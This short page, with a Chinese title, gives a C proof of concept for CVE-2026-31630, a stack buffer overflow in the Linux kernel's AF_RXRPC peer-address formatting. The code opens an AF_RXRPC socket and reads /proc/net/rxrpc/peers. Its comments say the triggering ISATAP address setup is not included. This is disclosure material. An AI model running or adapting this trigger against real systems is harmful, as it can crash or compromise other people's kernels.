CVE-2026-31630 Linux内核AF_RXRPC缓冲区溢出漏洞

// Proof of Concept for CVE-2026-31630 // This PoC demonstrates the condition for the buffer overflow. // It requires a kernel configured with AF_RXRPC and ISATAP. #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #define AF_RXRPC 33 int main() { int sock; FILE *fp; char buffer[1024]; // Create an AF_RXRPC socket sock = socket(AF_RXRPC, SOCK_DGRAM, 0); if (sock < 0) { perror("socket"); return 1; } // To trigger the vulnerability, the socket needs to be associated with // an address that formats to >50 bytes (e.g., ISATAP). // This usually involves configuring network interfaces. // Reading the proc file triggers the formatting logic. fp = fopen("/proc/net/rxrpc/peers", "r"); if (fp == NULL) { perror("fopen"); close(sock); return 1; } // Reading the file causes the kernel to format peer addresses // into the vulnerable stack buffer. while (fgets(buffer, sizeof(buffer), fp)) { // Process output (overflow happens in kernel space during read) } fclose(fp); close(sock); return 0; }